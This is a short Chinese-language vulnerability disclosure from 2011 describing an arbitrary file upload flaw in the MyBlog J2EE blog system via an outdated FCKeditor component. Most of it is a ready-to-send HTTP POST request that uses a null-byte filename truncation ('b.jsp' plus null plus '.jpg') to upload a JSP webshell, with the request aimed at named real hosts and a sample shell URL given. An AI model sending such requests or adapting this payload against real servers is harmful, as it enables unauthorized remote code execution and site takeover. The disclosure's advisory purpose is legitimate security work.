漏洞标题:MyBlog 存在任意文件上传漏洞

发布时间:2011.4.30

发布作者:BNE

    MyBlog 是一个J2ee的开源自建blog系统,攻击者通过他的一些组件问题,可以上传任意文件。

    由于使用了早期版本的fckeditor。导致可以通过文件名截断,绕过后缀名验证,上传任意文件。

    提交如下http包,即可上传shell。

    http://www.020mg.com/upload/Image/heimao.jsp
    heimao.jsp

如下:

以下是引用片段:

POST /FCK/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=Image&CurrentFolder=%2F HTTP/1.1
Accept: */*
Accept-Language: en-US,zh-cn;q=0.5
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)
Content-Type: multipart/form-data; boundary=---------------------------7d9cb26524ee
Host: jdkcn.com
Content-Length: xxxxxx
Cache-Control: no-cache
-----------------------------7d9cb26524ee
Content-Disposition: form-data; name="NewFile"; filename="b.jsp(此处为null字符).jpg"
Content-Type: text/plain
<%@ page contentType="text/html; charset=GBK" %>
<%@ page import="java.io.*"%>
<%@ page import="java.nio.charset.Charset"%>
<%@ page import="java.util.regex.*"%>
..........
.......
......
...
-----------------------------7d9cb26524ee--